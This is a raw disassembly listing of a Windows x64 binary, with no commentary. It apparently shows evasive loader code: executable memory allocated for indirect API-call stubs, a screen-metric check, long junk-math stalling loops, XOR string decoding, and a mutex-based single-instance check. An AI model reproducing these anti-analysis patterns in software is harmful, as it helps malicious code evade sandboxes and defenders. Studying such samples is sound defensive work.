test rax, rax
jne 0x14000c454
jmp 0x14000c47d
mov r8, qword [r13 + rdx*8 + 0x2d7b0]
test r8, r8
jne 0x14000c55f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000c4a4
mov r8, rsi
jmp 0x14000c53e
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c4b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002d470]
mov qword [r13 + rax*8 + 0x2edc0], rbx
mov qword [r13 + rax*8 + 0x2d7b0], r8
inc rax
mov qword [0x14002d470], rax
lea rdx, [rsp + 0x158]
mov rcx, qword [sym.imp.USER32.dll_GetSystemMetrics]
call r8
nop
mov rdx, qword [rsp + 0x1330]
xor rdx, qword [rsp + 0x1338]
mov qword [rsp + 0x1330], rdx
mov rcx, qword [rsp + 0x1340]
mov qword [rcx], rdx
cmp eax, 0x258
jne 0x14000cd62
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x4084], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rsp + 0x2d00]
call fcn.140017140
mov dword [rsp + 0xed8], 0xffffff9c
mov dword [rsp + 0xedc], 0x64
movaps xmm0, xmmword [0x140025440]
movups xmmword [rsp + 0x10b0], xmm0
xor r12d, r12d
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm11
lea rcx, [rsp + 0x1370]
call fcn.140001ae0
mov qword [rsp + 0x4a0], 0x64
mov rax, qword [rsp + 0x1370]
mov qword [rsp + 0x4a8], rax
lea r8, [rsp + 0x4a0]
lea rdx, [rsp + 0x4a8]
lea rcx, [rsp + 0x930]
call fcn.140017530
mov rdi, qword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf80], xmm0
mov qword [rsp + 0xf90], rax
lea rcx, [rsp + 0xf80]
call fcn.140016030
nop
lea rcx, [rsp + 0x4b0]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x248]
call fcn.140017580
nop
lea rdx, [rsp + 0x248]
lea rcx, [rsp + 0xf80]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x248]
call fcn.140016050
nop
lea rcx, [rsp + 0x4b0]
call fcn.140016050
lea rcx, [rsp + 0x4b8]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x250]
call fcn.140017580
nop
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0xf80]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x250]
call fcn.140016050
nop
lea rcx, [rsp + 0x4b8]
call fcn.140016050
lea rcx, [rsp + 0x4c0]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.140017580
nop
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0xf80]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x258]
call fcn.140016050
nop
lea rcx, [rsp + 0x4c0]
call fcn.140016050
lea rcx, [rsp + 0x4c8]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x260]
call fcn.140017580
nop
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0xf80]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x260]
call fcn.140016050
nop
lea rcx, [rsp + 0x4c8]
call fcn.140016050
lea rcx, [rsp + 0x4d0]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x268]
call fcn.140017580
nop
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0xf80]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x268]
call fcn.140016050
nop
lea rcx, [rsp + 0x4d0]
call fcn.140016050
lea rcx, [rsp + 0x4d8]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x270]
call fcn.140017580
nop
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0xf80]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x270]
call fcn.140016050
nop
lea rcx, [rsp + 0x4d8]
call fcn.140016050
lea rcx, [rsp + 0x4e0]
call fcn.140001ae0
mov qword [rsp + 0xf8], rdi
mov rax, qword [rax]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x100]
call fcn.140002910
test al, al
jns 0x14000cd44
nop dword [rax]
nop word [rax + rax]
mov r14d, 0x186a0
nop word [rax + rax]
mov r9d, dword [rsp + 0xedc]
mov r8d, dword [rsp + 0xed8]
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0xed8]
call fcn.140019160
mov r9d, dword [rsp + 0xedc]
mov r8d, dword [rsp + 0xed8]
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0xed8]
call fcn.140019160
mov rcx, qword [rsp + 0xf88]
mov rsi, qword [rsp + 0xf80]
sub rcx, rsi
sar rcx, 3
cdqe
xor edx, edx
div rcx
movsxd rax, edx
mov rsi, qword [rsi + rax*8]
mov rax, qword [rsi]
mov rbx, qword [rax + 8]
mov r9d, dword [rsp + 0xedc]
mov r8d, dword [rsp + 0xed8]
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0xed8]
call fcn.140019160
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rsi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x10b0]
call fcn.140017690
movaps xmm9, xmm0
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x10b0]
call fcn.140017690
movaps xmm6, xmm0
movaps xmm7, xmm0
andps xmm7, xmm15
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm8, xmm0
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm8, xmm0
addsd xmm7, xmm14
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm8, xmm0
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm8, xmm0
movsd xmm1, qword [rsp + 0x38]
addsd xmm8, xmm1
movsd qword [rsp + 0x38], xmm8
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x10b0]
call fcn.140017690
movaps xmm1, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x10b0]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x15f0]
call fcn.1400167d0
nop
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x15f0]
call fcn.140002750
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1138], xmm0
mov qword [rsp + 0x1148], rax
lea rcx, [rsp + 0x1138]
call fcn.140016030
mov edx, 0x64
lea rcx, [rsp + 0x1138]
call fcn.140018230
nop
lea rdx, [rsp + 0x938]
lea rcx, [rsp + 0x1138]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x940]
lea rcx, [rsp + 0x1138]
call fcn.1400161d0
lea rcx, [rsp + 0xed8]
mov qword [rsp + 0x6d0], rcx
lea rcx, [rsp + 0x2d00]
mov qword [rsp + 0x6d8], rcx
lea r8, [rsp + 0x6d0]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x1138]
call fcn.140002860
lea rdx, [rsp + 0x948]
lea rcx, [rsp + 0x1138]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0x1138]
call fcn.1400161d0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov r9d, dword [rsp + 0xedc]
mov r8d, dword [rsp + 0xed8]
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0xed8]
call fcn.140019160
mov ebx, eax
mov r9d, dword [rsp + 0xedc]
mov r8d, dword [rsp + 0xed8]
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0xed8]
call fcn.140019160
mov r8d, eax
mov ecx, ebx
test ebx, ebx
cmove ecx, r15d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14000cbbd
dec eax
or eax, 0xfffffffe
inc eax
mov r9d, dword [rsp + 0xedc]
mov r8d, dword [rsp + 0xed8]
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0xed8]
test eax, eax
jne 0x14000cbf2
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000cc01
call fcn.140019160
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov esi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rsp + 0xedc]
mov r8d, dword [rsp + 0xed8]
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0xed8]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x10b0]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0x2d00]
test bl, 1
jne 0x14000ccab
mov r9d, dword [rsp + 0xedc]
mov r8d, dword [rsp + 0xed8]
lea rcx, [rsp + 0xed8]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000cccd
movsd xmm6, qword [rsp + 0x38]
lea rcx, [rsp + 0x10b0]
call fcn.140017690
addsd xmm0, xmm14
divsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
inc ebx
cmp ebx, 5
jl 0x14000cc20
sub rsi, 1
jne 0x14000cc10
lea rcx, [rsp + 0x1138]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x15f0]
call fcn.140016730
sub r14, 1
jne 0x14000c8a0
lea rcx, [rsp + 0x4e0]
call fcn.140001ae0
mov qword [rsp + 0xf8], rdi
mov rax, qword [rax]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x100]
call fcn.140002910
test al, al
js 0x14000c890
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0xf80]
call fcn.1400160c0
mov qword [0], r12
jmp 0x140014f7e
movsd xmm0, qword [str._a.__]
movsd qword [rsp + 0xc8], xmm0
mov eax, dword [0x1400251b0]
mov dword [rsp + 0xd0], eax
movzx eax, word [0x1400251b4]
mov word [rsp + 0xd4], ax
mov r14d, 6
cmp byte [0x1400251b5], 0
je 0x14000d006
mov r9d, esi
mov esi, dword [0x14002c018]
cmp esi, 2
jl 0x14000cf9d
movdqa xmm6, xmmword [0x140025460]
movd xmm7, r14d
movdqa xmm8, xmmword [0x140025470]
mov ebx, 4
movd xmm9, ebx
mov ebx, 0x1f
movd xmm11, ebx
movdqa xmm5, xmmword [0x1400253f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.________________]
movd xmm0, dword [str._a.__]
pxor xmm3, xmm0
movd dword [rsp + 0xc8], xmm3
movdqa xmm5, xmmword [0x140025400]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.________________]
movd xmm0, dword [rsp + 0xcc]
pxor xmm3, xmm0
movd dword [rsp + 0xcc], xmm3
mov r9d, 8
xorps xmm11, xmm11
movsxd rax, r9d
lea r10, [rsp + 0xc8]
add r10, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14000cfb0
jmp 0x14000d00c
mov esi, dword [0x14002c018]
lea r8, [0x140030718]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xd90]
call fcn.140017c80
mov rcx, rax
call fcn.140016570
mov r8, rax
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x590], rax
lea rcx, [rsp + 0xd90]
call fcn.140016730
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1270], xmm0
mov qword [rsp + 0x1280], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x1270]
call fcn.1400029a0
nop
xor ecx, ecx
mov rax, qword [0x14002f0e0]
lea rbx, [0x140017cf0]
test rax, rax
je 0x14000d0be
xor edx, edx
cmp rax, rbx
je 0x14000d0ad
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2f0e0]
test rax, rax
jne 0x14000d095
jmp 0x14000d0be
mov r8, qword [r13 + rdx*8 + 0x2ce20]
test r8, r8
jne 0x14000d19f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14000d17e
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d0f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002f400]
mov qword [r13 + rax*8 + 0x2f0e0], rbx
mov qword [r13 + rax*8 + 0x2ce20], r8
inc rax
mov qword [0x14002f400], rax
mov rcx, qword [sym.imp.KERNEL32.dll_GetLastError]
call r8
nop
mov rdx, qword [rsp + 0x1270]
xor rdx, qword [rsp + 0x1278]
mov qword [rsp + 0x1270], rdx
mov rcx, qword [rsp + 0x1280]
mov qword [rcx], rdx
cmp eax, 0xb7
jne 0x14000d9a2
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x5414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rsp + 0x4090]
call fcn.140017140
mov dword [rsp + 0xee0], 0xffffff9c
mov dword [rsp + 0xee4], 0x64
movaps xmm0, xmmword [0x140025440]
movups xmmword [rsp + 0x10a0], xmm0
xor r12d, r12d
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm11
lea rcx, [rsp + 0x1368]
call fcn.140001ae0
mov qword [rsp + 0x4f0], 0x64
mov rax, qword [rsp + 0x1368]
mov qword [rsp + 0x4f8], rax
lea r8, [rsp + 0x4f0]
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x958]
call fcn.140017530
mov rdi, qword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf98], xmm0
mov qword [rsp + 0xfa8], rax
lea rcx, [rsp + 0xf98]
call fcn.140016030
nop
lea rcx, [rsp + 0x500]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x278]
call fcn.140017580
nop
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0xf98]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x278]
call fcn.140016050
nop
lea rcx, [rsp + 0x500]
call fcn.140016050
lea rcx, [rsp + 0x508]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.140017580
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0xf98]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x280]
call fcn.140016050
nop
lea rcx, [rsp + 0x508]
call fcn.140016050
lea rcx, [rsp + 0x510]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x288]
call fcn.140017580
nop
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0xf98]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x288]
call fcn.140016050
nop
lea rcx, [rsp + 0x510]
call fcn.140016050
lea rcx, [rsp + 0x518]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.140017580
nop
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0xf98]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x290]
call fcn.140016050
nop
lea rcx, [rsp + 0x518]
call fcn.140016050
lea rcx, [rsp + 0x520]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x298]
call fcn.140017580
nop
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0xf98]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x298]
call fcn.140016050
nop
lea rcx, [rsp + 0x520]
call fcn.140016050
lea rcx, [rsp + 0x528]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x2a0]
call fcn.140017580
nop
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0xf98]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2a0]
call fcn.140016050
nop
lea rcx, [rsp + 0x528]
call fcn.140016050
lea rcx, [rsp + 0x530]
call fcn.140001ae0
mov qword [rsp + 0x108], rdi
mov rax, qword [rax]
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x110]
call fcn.140002910
test al, al
jns 0x14000d984
movsd xmm10, qword [0x1400253a8]
nop dword [rax]
nop dword [rax + rax]
mov r14d, 0x186a0
nop word [rax + rax]
mov r9d, dword [rsp + 0xee4]
mov r8d, dword [rsp + 0xee0]
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0xee0]
call fcn.140019160
mov r9d, dword [rsp + 0xee4]
mov r8d, dword [rsp + 0xee0]
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0xee0]
call fcn.140019160
mov rcx, qword [rsp + 0xfa0]
mov rsi, qword [rsp + 0xf98]
sub rcx, rsi
sar rcx, 3
cdqe
xor edx, edx
div rcx
movsxd rax, edx
mov rsi, qword [rsi + rax*8]
mov rax, qword [rsi]
mov rbx, qword [rax + 8]
mov r9d, dword [rsp + 0xee4]
mov r8d, dword [rsp + 0xee0]
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0xee0]
call fcn.140019160
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rsi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0x10a0]
call fcn.140017690
movaps xmm9, xmm0
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0x10a0]
call fcn.140017690
movaps xmm6, xmm0
movaps xmm7, xmm0
andps xmm7, xmm15
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm8, xmm0
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm8, xmm0
addsd xmm7, xmm14
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm8, xmm0
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm8, xmm0
movsd xmm1, qword [rsp + 0x38]
addsd xmm8, xmm1
movsd qword [rsp + 0x38], xmm8
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0x10a0]
call fcn.140017690
movaps xmm1, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0x10a0]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x15d0]
call fcn.1400167d0
nop
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0x15d0]
call fcn.140002750
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1150], xmm0
mov qword [rsp + 0x1160], rax
lea rcx, [rsp + 0x1150]
call fcn.140016030
mov edx, 0x64
lea rcx, [rsp + 0x1150]
call fcn.140018230
nop
lea rdx, [rsp + 0x960]
lea rcx, [rsp + 0x1150]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x968]
lea rcx, [rsp + 0x1150]
call fcn.1400161d0
lea rcx, [rsp + 0xee0]
mov qword [rsp + 0x690], rcx
lea rcx, [rsp + 0x4090]
mov qword [rsp + 0x698], rcx
lea r8, [rsp + 0x690]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0x1150]
call fcn.140002860
lea rdx, [rsp + 0x970]
lea rcx, [rsp + 0x1150]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x978]
lea rcx, [rsp + 0x1150]
call fcn.1400161d0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov r9d, dword [rsp + 0xee4]
mov r8d, dword [rsp + 0xee0]
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0xee0]
call fcn.140019160
mov ebx, eax
mov r9d, dword [rsp + 0xee4]
mov r8d, dword [rsp + 0xee0]
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0xee0]
call fcn.140019160
mov r8d, eax
mov ecx, ebx
test ebx, ebx
cmove ecx, r15d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14000d7fd
dec eax
or eax, 0xfffffffe
inc eax
mov r9d, dword [rsp + 0xee4]
mov r8d, dword [rsp + 0xee0]
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0xee0]
test eax, eax
jne 0x14000d832
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000d841
call fcn.140019160
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov esi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rsp + 0xee4]
mov r8d, dword [rsp + 0xee0]
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0xee0]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x4090]
lea rcx, [rsp + 0x10a0]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0x4090]
test bl, 1
jne 0x14000d8eb
mov r9d, dword [rsp + 0xee4]
mov r8d, dword [rsp + 0xee0]
lea rcx, [rsp + 0xee0]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000d90d
movsd xmm6, qword [rsp + 0x38]
lea rcx, [rsp + 0x10a0]
call fcn.140017690
addsd xmm0, xmm14
divsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
inc ebx
cmp ebx, 5
jl 0x14000d860
sub rsi, 1
jne 0x14000d850
lea rcx, [rsp + 0x1150]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x15d0]
call fcn.140016730
sub r14, 1
jne 0x14000d4e0
lea rcx, [rsp + 0x530]
call fcn.140001ae0
mov qword [rsp + 0x108], rdi
mov rax, qword [rax]
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x110]
call fcn.140002910
test al, al
js 0x14000d4d0
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0xf98]
call fcn.1400160c0
mov qword [0], r12
jmp 0x140014f7e
movsd xmm0, qword [0x140024d90]
movsd qword [rsp + 0xb8], xmm0
mov eax, dword [0x140024d98]
mov dword [rsp + 0xc0], eax
movzx eax, byte [0x140024d9c]
mov byte [rsp + 0xc4], al
xor r9d, r9d
lea edi, [r9 + 4]
cmp esi, 2
jl 0x14000dbc6
